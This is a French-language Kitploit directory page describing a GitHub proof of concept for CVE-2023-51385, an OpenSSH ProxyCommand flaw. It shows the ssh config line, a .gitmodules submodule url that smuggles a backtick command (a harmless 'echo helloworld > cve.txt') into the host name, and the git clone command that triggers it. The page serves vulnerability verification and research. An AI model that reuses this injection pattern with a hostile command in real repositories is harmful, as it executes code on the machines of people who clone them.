Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-51385_test — Une vérification de CVE-2023-51385 | Kitploit
Outils/GitHubGitHub/power1314520/cve-2023-51385_test
Analyse des VulnérabilitésExploitationExploitation d'Applications WebArticles et RechercheApprentissage et Éducation
GitHubpower1314520/cve-2023-51385_test

CVE-2023-51385_test

Une vérification de CVE-2023-51385

Voir le dépôt
5il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Validation de CVE-2023-51385

Tout d'abord, ajoutez ce qui suit dans ~/.ssh/config

Host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Il existe une injection de commande dans la déclaration du fichier .gitmodules

url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

Une fois la configuration terminée, exécutez la commande suivante pour déclencher :

git clone https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules

Si l'exécution réussit, un fichier cve.txt sera généré dans le répertoire CVE-2023-51385_test

![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )

Plus de détails sur le blog de l'article :

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html

Télécharger l’outil